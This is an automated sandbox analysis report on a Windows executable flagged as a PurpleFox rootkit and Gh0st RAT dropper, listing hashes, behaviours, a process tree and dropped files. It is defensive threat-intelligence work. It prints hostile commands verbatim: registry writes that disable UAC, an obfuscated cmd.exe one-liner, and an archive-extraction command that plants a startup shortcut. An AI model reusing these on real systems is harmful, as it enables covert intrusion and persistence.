Analysis
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max time kernel
141s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
12-10-2022 14:41
Static task
static1
Behavioral task
behavioral1
Sample
31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe
Resource
win7-20220901-en
General
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Target
31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe
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Size
32KB
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MD5
b1a76512bd2449210a38aad628f5e1a3
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SHA1
e2d5c4629742a37579eba17c722fd8177ea4a410
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SHA256
31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399
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SHA512
24f6d10f7110e6b4855e6410384bdca6b37fe47b98c5a4001faccb7b8817dd961b06dc4eac1ead4989782413aff942f1d4adb2b5f286a310cd9bfe355a5eb46b
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SSDEEP
192:60hg42Nzd2GQ/0jqEtJ2KLNGEt2hoynrLEgH9e2tnwRmd8MFA93M3pkR:60CvNwRtONGThlNde2tnwwd5ASc
Malware Config
Signatures
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Processes:
resource yara_rule behavioral2/memory/2696-169-0x0000000010000000-0x000000001019F000-memory.dmp purplefox_rootkit behavioral2/memory/2696-177-0x0000000000400000-0x0000000000547000-memory.dmp purplefox_rootkit -
Gh0st RAT payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/2696-169-0x0000000010000000-0x000000001019F000-memory.dmp family_gh0strat behavioral2/memory/2696-177-0x0000000000400000-0x0000000000547000-memory.dmp family_gh0strat -
Processes:
31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe -
ACProtect 1.3x - 1.4x DLL software 2 IoCs
Detects file using ACProtect software.
Processes:
resource yara_rule C:\Users\Public\Documents\TASLoginBase.dll acprotect C:\Users\Public\Documents\TASLoginBase.dll acprotect -
Downloads MZ/PE file
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Executes dropped EXE 6 IoCs
Processes:
k4.exek4.exeunzip.exedllhosts.exedllhosts.exek4.exepid process 4656 k4.exe 744 k4.exe 3304 unzip.exe 5056 dllhosts.exe 2696 dllhosts.exe 2344 k4.exe -
Processes:
resource yara_rule C:\Users\Public\Documents\TASLoginBase.dll upx C:\Users\Public\Documents\TASLoginBase.dll upx behavioral2/memory/5056-162-0x0000000010000000-0x0000000010131000-memory.dmp upx behavioral2/memory/2696-164-0x0000000000400000-0x0000000000547000-memory.dmp upx behavioral2/memory/2696-167-0x0000000000400000-0x0000000000547000-memory.dmp upx behavioral2/memory/2696-168-0x0000000000400000-0x0000000000547000-memory.dmp upx behavioral2/memory/2696-177-0x0000000000400000-0x0000000000547000-memory.dmp upx behavioral2/memory/5056-178-0x0000000010000000-0x0000000010131000-memory.dmp upx -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.execmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation cmd.exe -
Drops startup file 3 IoCs
Processes:
unzip.exedescription ioc process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\startup\browser.lnk unzip.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\startup\ unzip.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\startup\browser.lnk unzip.exe -
Loads dropped DLL 2 IoCs
Processes:
31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exedllhosts.exepid process 2040 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe 5056 dllhosts.exe -
Processes:
31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
dllhosts.exedescription ioc process File opened (read-only) \??\V: dllhosts.exe File opened (read-only) \??\B: dllhosts.exe File opened (read-only) \??\E: dllhosts.exe File opened (read-only) \??\G: dllhosts.exe File opened (read-only) \??\N: dllhosts.exe File opened (read-only) \??\O: dllhosts.exe File opened (read-only) \??\T: dllhosts.exe File opened (read-only) \??\X: dllhosts.exe File opened (read-only) \??\Z: dllhosts.exe File opened (read-only) \??\K: dllhosts.exe File opened (read-only) \??\L: dllhosts.exe File opened (read-only) \??\M: dllhosts.exe File opened (read-only) \??\Q: dllhosts.exe File opened (read-only) \??\R: dllhosts.exe File opened (read-only) \??\Y: dllhosts.exe File opened (read-only) \??\F: dllhosts.exe File opened (read-only) \??\H: dllhosts.exe File opened (read-only) \??\I: dllhosts.exe File opened (read-only) \??\J: dllhosts.exe File opened (read-only) \??\S: dllhosts.exe File opened (read-only) \??\P: dllhosts.exe File opened (read-only) \??\U: dllhosts.exe File opened (read-only) \??\W: dllhosts.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
Processes:
cmd.execmd.exepid process 4508 cmd.exe 2128 cmd.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
dllhosts.exedescription pid process target process PID 5056 set thread context of 2696 5056 dllhosts.exe dllhosts.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1416 5056 WerFault.exe dllhosts.exe -
Checks SCSI registry key(s) 3 TTPs 2 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
k4.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 k4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 k4.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
dllhosts.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 dllhosts.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz dllhosts.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 1836 taskkill.exe -
Modifies registry class 2 IoCs
Processes:
31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.execmd.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings cmd.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
dllhosts.exepid process 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe 2696 dllhosts.exe -
Suspicious behavior: SetClipboardViewer 1 IoCs
Processes:
mmc.exepid process 2320 mmc.exe -
Suspicious use of AdjustPrivilegeToken 14 IoCs
Processes:
taskkill.exemmc.exemmc.exek4.exedllhosts.exedescription pid process Token: SeDebugPrivilege 1836 taskkill.exe Token: 33 2156 mmc.exe Token: SeIncBasePriorityPrivilege 2156 mmc.exe Token: 33 2156 mmc.exe Token: SeIncBasePriorityPrivilege 2156 mmc.exe Token: 33 2320 mmc.exe Token: SeIncBasePriorityPrivilege 2320 mmc.exe Token: 33 2320 mmc.exe Token: SeIncBasePriorityPrivilege 2320 mmc.exe Token: SeLoadDriverPrivilege 2344 k4.exe Token: 33 2696 dllhosts.exe Token: SeIncBasePriorityPrivilege 2696 dllhosts.exe Token: 33 2696 dllhosts.exe Token: SeIncBasePriorityPrivilege 2696 dllhosts.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exemmc.exemmc.exepid process 2040 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe 2156 mmc.exe 2156 mmc.exe 2320 mmc.exe 2320 mmc.exe -
Suspicious use of WriteProcessMemory 40 IoCs
Processes:
31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.execmd.execmd.exemmc.execmd.execmd.execmd.exemmc.exedllhosts.exedescription pid process target process PID 2040 wrote to memory of 4656 2040 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe k4.exe PID 2040 wrote to memory of 4656 2040 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe k4.exe PID 2040 wrote to memory of 744 2040 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe k4.exe PID 2040 wrote to memory of 744 2040 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe k4.exe PID 2040 wrote to memory of 4440 2040 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe cmd.exe PID 2040 wrote to memory of 4440 2040 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe cmd.exe PID 2040 wrote to memory of 4440 2040 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe cmd.exe PID 4440 wrote to memory of 1836 4440 cmd.exe taskkill.exe PID 4440 wrote to memory of 1836 4440 cmd.exe taskkill.exe PID 4440 wrote to memory of 1836 4440 cmd.exe taskkill.exe PID 2040 wrote to memory of 4044 2040 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe cmd.exe PID 2040 wrote to memory of 4044 2040 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe cmd.exe PID 2040 wrote to memory of 4044 2040 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe cmd.exe PID 2040 wrote to memory of 4424 2040 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe WScript.exe PID 2040 wrote to memory of 4424 2040 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe WScript.exe PID 2040 wrote to memory of 4424 2040 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe WScript.exe PID 4044 wrote to memory of 4600 4044 cmd.exe WScript.exe PID 4044 wrote to memory of 4600 4044 cmd.exe WScript.exe PID 4044 wrote to memory of 4600 4044 cmd.exe WScript.exe PID 2156 wrote to memory of 4508 2156 mmc.exe cmd.exe PID 2156 wrote to memory of 4508 2156 mmc.exe cmd.exe PID 4508 wrote to memory of 2128 4508 cmd.exe cmd.exe PID 4508 wrote to memory of 2128 4508 cmd.exe cmd.exe PID 4508 wrote to memory of 1628 4508 cmd.exe cmd.exe PID 4508 wrote to memory of 1628 4508 cmd.exe cmd.exe PID 1628 wrote to memory of 1448 1628 cmd.exe cmd.exe PID 1628 wrote to memory of 1448 1628 cmd.exe cmd.exe PID 1448 wrote to memory of 3304 1448 cmd.exe unzip.exe PID 1448 wrote to memory of 3304 1448 cmd.exe unzip.exe PID 1448 wrote to memory of 3304 1448 cmd.exe unzip.exe PID 2320 wrote to memory of 5056 2320 mmc.exe dllhosts.exe PID 2320 wrote to memory of 5056 2320 mmc.exe dllhosts.exe PID 2320 wrote to memory of 5056 2320 mmc.exe dllhosts.exe PID 5056 wrote to memory of 2696 5056 dllhosts.exe dllhosts.exe PID 5056 wrote to memory of 2696 5056 dllhosts.exe dllhosts.exe PID 5056 wrote to memory of 2696 5056 dllhosts.exe dllhosts.exe PID 5056 wrote to memory of 2696 5056 dllhosts.exe dllhosts.exe PID 5056 wrote to memory of 2696 5056 dllhosts.exe dllhosts.exe PID 2040 wrote to memory of 2344 2040 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe k4.exe PID 2040 wrote to memory of 2344 2040 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe k4.exe -
System policy modification 1 TTPs 3 IoCs
Processes:
31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" 31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe"C:\Users\Admin\AppData\Local\Temp\31187424e25004f7580b8defbe516ab09a6e5a4eb9e39ab1721279c5ecce8399.exe"1⤵
- UAC bypass
- Checks computer location settings
- Loads dropped DLL
- Checks whether UAC is enabled
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
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C:\Users\Public\Documents\k4.exeC:/Users/Public/Documents/k4.exe2⤵
- Executes dropped EXE
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C:\Users\Public\Documents\k4.exeC:/Users/Public/Documents/k4.exe /D2⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /t /im k4.exe2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\taskkill.exetaskkill /f /t /im k4.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Public\Documents\2022060125.vbe2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\2022060125.vbe"3⤵
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sch.vbe"2⤵
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C:\Users\Public\Documents\k4.exe"C:\Users\Public\Documents\k4.exe" /E2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\mmc.exeC:\Windows\system32\mmc.exe -Embedding1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /c ^c^M^D, , /v^:O ,/R " , ( , (S^ET ^l^U=^-), )&(^sET N^aV=\^Public^\Docu^m^en^t)& (^s^eT ^S^m^KR=^ver)&&(, ,, , , (^sET idZ^S=cmd ^/c C:\^U^sers^\Publi^c\Do^cu) ,)&& (sE^t ^ ^5UR2=s\^unz^ip.^d^a^t -d)&&(^sET ^b^Vx=xe^ ^-^o)& ( , (^Set ^PXyG=^e^rver^^^^^^^>Se^r) )&(s^ET ^ w^GR=:\^U^sers)&( , , , , , (^SE^t G^2T=^ ), )& (^Se^T ^78=^men^ts^\un^zip.e)& (^Set B^X=^ ""%ap^pda^ta%"")& (^SEt p^1vS=P^ )&(S^et DBh^u=^^^^^^^&^e^cho ^S)&& S^ET ^u^Yw^J=""&&( , (^SET 7D3^y=^.^dll) , )& ( ,(^SET ^ ^gE=^C) , )&& ( , (SE^T ^ ^2^R^X=Start^u^p8^888 ) , , , )& , C^All,S^E^T 4Zb=%idZ^S%%^78%%^b^Vx%%G^2T%%^l^U%%p^1vS%%^2^R^X%%^gE%%w^GR%%N^aV%%^5UR2%%B^X%%DBh^u%%^PXyG%%^S^m^KR%%7D3^y%&&, , ^CaLL , , E^CHo , %4^Z^b:""^=!uY^wJ:~0, ^-1!%"|,%pubLic:~ 14%MD,2⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execMD , , /v:O ,/R " , ( , (S^ET ^l^U=^-), )&(^sET N^aV=\^Public^\Docu^m^en^t)& (^s^eT ^S^m^KR=^ver)&&(, ,, , , (^sET idZ^S=cmd ^/c C:\^U^sers^\Publi^c\Do^cu) ,)&& (sE^t ^ ^5UR2=s\^unz^ip.^d^a^t -d)&&(^sET ^b^Vx=xe^ ^-^o)& ( , (^Set ^PXyG=^e^rver^^^^^^^>Se^r) )&(s^ET ^ w^GR=:\^U^sers)&( , , , , , (^SE^t G^2T=^ ), )& (^Se^T ^78=^men^ts^\un^zip.e)& (^Set B^X=^ ""%ap^pda^ta%"")& (^SEt p^1vS=P^ )&(S^et DBh^u=^^^^^^^&^e^cho ^S)&& S^ET ^u^Yw^J=""&&( , (^SET 7D3^y=^.^dll) , )& ( ,(^SET ^ ^gE=^C) , )&& ( , (SE^T ^ ^2^R^X=Start^u^p8^888 ) , , , )& , C^All,S^E^T 4Zb=%idZ^S%%^78%%^b^Vx%%G^2T%%^l^U%%p^1vS%%^2^R^X%%^gE%%w^GR%%N^aV%%^5UR2%%B^X%%DBh^u%%^PXyG%%^S^m^KR%%7D3^y%&&, , ^CaLL , , E^CHo , %4^Z^b:""^=!uY^wJ:~0, ^-1!%"3⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
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C:\Windows\system32\cmd.execMD ,3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd /c C:\Users\Public\Documents\unzip.exe -o -P Startup8888 C:\Users\Public\Documents\unzip.dat -d "C:\Users\Admin\AppData\Roaming"4⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Public\Documents\unzip.exeC:\Users\Public\Documents\unzip.exe -o -P Startup8888 C:\Users\Public\Documents\unzip.dat -d "C:\Users\Admin\AppData\Roaming"5⤵
- Executes dropped EXE
- Drops startup file
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C:\Windows\system32\mmc.exeC:\Windows\system32\mmc.exe -Embedding1⤵
- Suspicious behavior: SetClipboardViewer
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Users\Public\Documents\dllhosts.exe"C:\Users\Public\Documents\dllhosts.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Users\Public\Documents\dllhosts.exeC:\Users\Public\Documents\dllhosts.exe3⤵
- Executes dropped EXE
- Enumerates connected drives
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5056 -s 2403⤵
- Program crash
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 5056 -ip 50561⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Public\Documents\2022060125.vbeFilesize
180B
MD5d66c7e77096d4f4c406170b6ca0ad123
SHA19bb461061c7276ebe2a493f690d72263c0da8962
SHA256cd0a0ac1315f1f473f4a42bed62fad7033fe68a3e0cf72a7b354a7e3dd78e8a8
SHA512015788021b53eb278be1238b26a01499dcb809d93ee747bc89208f8d3570a7b0b813c70ea054e70584b536da4811f0a58ef38c96a984e6b3a54654774e5c7592
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C:\Users\Public\Documents\RDSv1.dllFilesize
40KB
MD52c17ae07feaf970be073135b9dc5318e
SHA1f425aee18136879afeb4931aa9eed777d595f2a6
SHA2567649bb85be19e09b67a581b0a988393328984f00f4bb3fb60a4dacfb0b773cf5
SHA5129f4dafb5f8e650b01255b1df25c80af76775736634dc846920ddf3d3165ece81d70d2860c9c73e1e146592bf5ded61ed36b3980283e23e5d705cfd4ae576cb6b
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C:\Users\Public\Documents\TASLoginBase.dllFilesize
485KB
MD5265e529fa5ffa061220647f781281ecf
SHA19de1da5d648b264a08516692a76bb256a3e97f0b
SHA25606fcd28018b75ca7148a5b391bd126ec908b6a788f938dbd5ff8222c424cc251
SHA512be39bc42b02bf59178fcd06b9f725053a8ecb67f0e2f4d76581a5b6a513f75e27f22180cf561b03eb91885e1b49de137bfe827c1e5bb7b40124c3ec65999c0df
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C:\Users\Public\Documents\TASLoginBase.dllFilesize
485KB
MD5265e529fa5ffa061220647f781281ecf
SHA19de1da5d648b264a08516692a76bb256a3e97f0b
SHA25606fcd28018b75ca7148a5b391bd126ec908b6a788f938dbd5ff8222c424cc251
SHA512be39bc42b02bf59178fcd06b9f725053a8ecb67f0e2f4d76581a5b6a513f75e27f22180cf561b03eb91885e1b49de137bfe827c1e5bb7b40124c3ec65999c0df
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C:\Users\Public\Documents\dllhosts.exeFilesize
411KB
MD566557b2bd93e70a2804e983b279ab473
SHA14e58505689fd9643b5011880ce94b22cbfadf917
SHA256a63c9e3f7256e38224f7256307d954d4a6baa9f023f6ac49d8cface7b2658e31
SHA512b08d8b2872f4ebdbab7b15bd96f5d185f05030983c2d704497d30fe5f610874b5ec362f0e3e55800031edcd29b812d9b58214e76012a85df074310f36e0f33f4
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C:\Users\Public\Documents\dllhosts.exeFilesize
411KB
MD566557b2bd93e70a2804e983b279ab473
SHA14e58505689fd9643b5011880ce94b22cbfadf917
SHA256a63c9e3f7256e38224f7256307d954d4a6baa9f023f6ac49d8cface7b2658e31
SHA512b08d8b2872f4ebdbab7b15bd96f5d185f05030983c2d704497d30fe5f610874b5ec362f0e3e55800031edcd29b812d9b58214e76012a85df074310f36e0f33f4
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C:\Users\Public\Documents\dllhosts.exeFilesize
411KB
MD566557b2bd93e70a2804e983b279ab473
SHA14e58505689fd9643b5011880ce94b22cbfadf917
SHA256a63c9e3f7256e38224f7256307d954d4a6baa9f023f6ac49d8cface7b2658e31
SHA512b08d8b2872f4ebdbab7b15bd96f5d185f05030983c2d704497d30fe5f610874b5ec362f0e3e55800031edcd29b812d9b58214e76012a85df074310f36e0f33f4
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C:\Users\Public\Documents\k4.exeFilesize
892KB
MD533e29221e2825001d32f78632217d250
SHA19122127fc91790a1edb78003e9b58a9b00355ed5
SHA25665d0b20a4dc4911fbb91683eb6488d3d3493fa4584bbdfb4e942f203bef0030d
SHA51201d5c6ded3a83d81371e94fefb1debabb1d003c86ab3cf7145d28fb15fcfd4f8b763f6711f99c5afd9bf90f02a7af993efa5945d4f8bb6a3649b5fd86414ae93
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C:\Users\Public\Documents\k4.exeFilesize
892KB
MD533e29221e2825001d32f78632217d250
SHA19122127fc91790a1edb78003e9b58a9b00355ed5
SHA25665d0b20a4dc4911fbb91683eb6488d3d3493fa4584bbdfb4e942f203bef0030d
SHA51201d5c6ded3a83d81371e94fefb1debabb1d003c86ab3cf7145d28fb15fcfd4f8b763f6711f99c5afd9bf90f02a7af993efa5945d4f8bb6a3649b5fd86414ae93
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C:\Users\Public\Documents\k4.exeFilesize
892KB
MD533e29221e2825001d32f78632217d250
SHA19122127fc91790a1edb78003e9b58a9b00355ed5
SHA25665d0b20a4dc4911fbb91683eb6488d3d3493fa4584bbdfb4e942f203bef0030d
SHA51201d5c6ded3a83d81371e94fefb1debabb1d003c86ab3cf7145d28fb15fcfd4f8b763f6711f99c5afd9bf90f02a7af993efa5945d4f8bb6a3649b5fd86414ae93
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C:\Users\Public\Documents\k4.exeFilesize
892KB
MD533e29221e2825001d32f78632217d250
SHA19122127fc91790a1edb78003e9b58a9b00355ed5
SHA25665d0b20a4dc4911fbb91683eb6488d3d3493fa4584bbdfb4e942f203bef0030d
SHA51201d5c6ded3a83d81371e94fefb1debabb1d003c86ab3cf7145d28fb15fcfd4f8b763f6711f99c5afd9bf90f02a7af993efa5945d4f8bb6a3649b5fd86414ae93
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C:\Users\Public\Documents\sch.vbeFilesize
179B
MD5d569f44ce5792ee816b4182e3c7bc7da
SHA1f16a402cd6030b5c7faa5c85ade3005d66d5232a
SHA25659ff328647ccee11ad437e02b6e84c12511333553837b6fa270eefd21a3eccbf
SHA512bb0f888ff00038d1787e6cce8b09b61761d93594cbfe08d2dbf650c1802938d6df7b4b854c1af97ad405fb3b1460aab339e636852d51dc6b6849d27a5af9560b
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C:\Users\Public\Documents\unzip.datFilesize
1KB
MD5e1fafb36f4da2c3be5dc9be1ad0b9805
SHA17d64a899e0ab62f3cd6ebf5bdade782c99c00713
SHA256a862acb112f57458ad35e5e5fc90f0d270a7600af694a6b7052d161806e5dd69
SHA5125c530b09b6459f34072dfccb7ccec5cbb791fc6cdc2633993da91fbef9c4d1172aec51ace3fb3cb8ac25b6721b4e6f5f1fd1a8fac7d95abbad8f6430e4abbc3e
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C:\Users\Public\Documents\unzip.exeFilesize
164KB
MD575375c22c72f1beb76bea39c22a1ed68
SHA1e1652b058195db3f5f754b7ab430652ae04a50b8
SHA2568d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a
SHA5121b396e78e189185eefb8c6058aa7e6dfe1b8f2dff8babfe4ffbee93805467bf45760eea6efb8d9bb2040d0eaa56841d457b1976dcfe13ed67931ade01419f55a
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C:\Users\Public\Documents\unzip.exeFilesize
164KB
MD575375c22c72f1beb76bea39c22a1ed68
SHA1e1652b058195db3f5f754b7ab430652ae04a50b8
SHA2568d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a
SHA5121b396e78e189185eefb8c6058aa7e6dfe1b8f2dff8babfe4ffbee93805467bf45760eea6efb8d9bb2040d0eaa56841d457b1976dcfe13ed67931ade01419f55a
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C:\Users\Public\Documents\unzip.lnkFilesize
2KB
MD57503a871168c07ca47a87c933f004f66
SHA1764d09fe3b1f756a467e4a96d5cc3453732c3cfb
SHA2568a3d404f5cdd1611433ea97e8a5ebf8696d8cdcf805331201a4fb4f7203023de
SHA5124f7bbab0fcdb150cf368ab9fa2d23f26082ae1ac1d1a4cebc7ea9b2724125c7f5e013b2180a08a3f0002e416e6be5e6233f47fb7f5dbebd1b503f09a5ea24831
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C:\Users\Public\Documents\update.lnkFilesize
1KB
MD53af508a542bdfa6927737a2d91d74f40
SHA1433f04e960f68ce05358af2d672a9b649de4e3ce
SHA256e7e3e44142369b3a312005313f8569f2bcd45bcdc8ea9e141616654bcd090b60
SHA512b35ad011ca3770c1a1e2a655a614e91ebd96ce29099969c727a69e77a390b91078512ce55883d7290e4dd46c5f04f0461b2833f568d23da1fc4d91ea4633d3bc
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C:\Users\Public\Documents\update.logFilesize
539KB
MD57e1de6506bd66e5c4f1652b626d112c1
SHA106f2f80888d775104aa36e2a26213efddae42cea
SHA2569a2f6fe1502797f98116504bb8fd0436ad6f542d764b004fa8c4b60e70cbd0f9
SHA51232267e7c2c8a53f893978ff6078f2968dbec24a2090f31746c2093ea827ba5b6c620022c7ea5ab4155250c148f2ce12afce7472bf27cf734d76274dff697d29a
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memory/744-136-0x0000000000000000-mapping.dmp
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memory/1448-150-0x0000000000000000-mapping.dmp
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memory/1628-149-0x0000000000000000-mapping.dmp
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memory/1836-139-0x0000000000000000-mapping.dmp
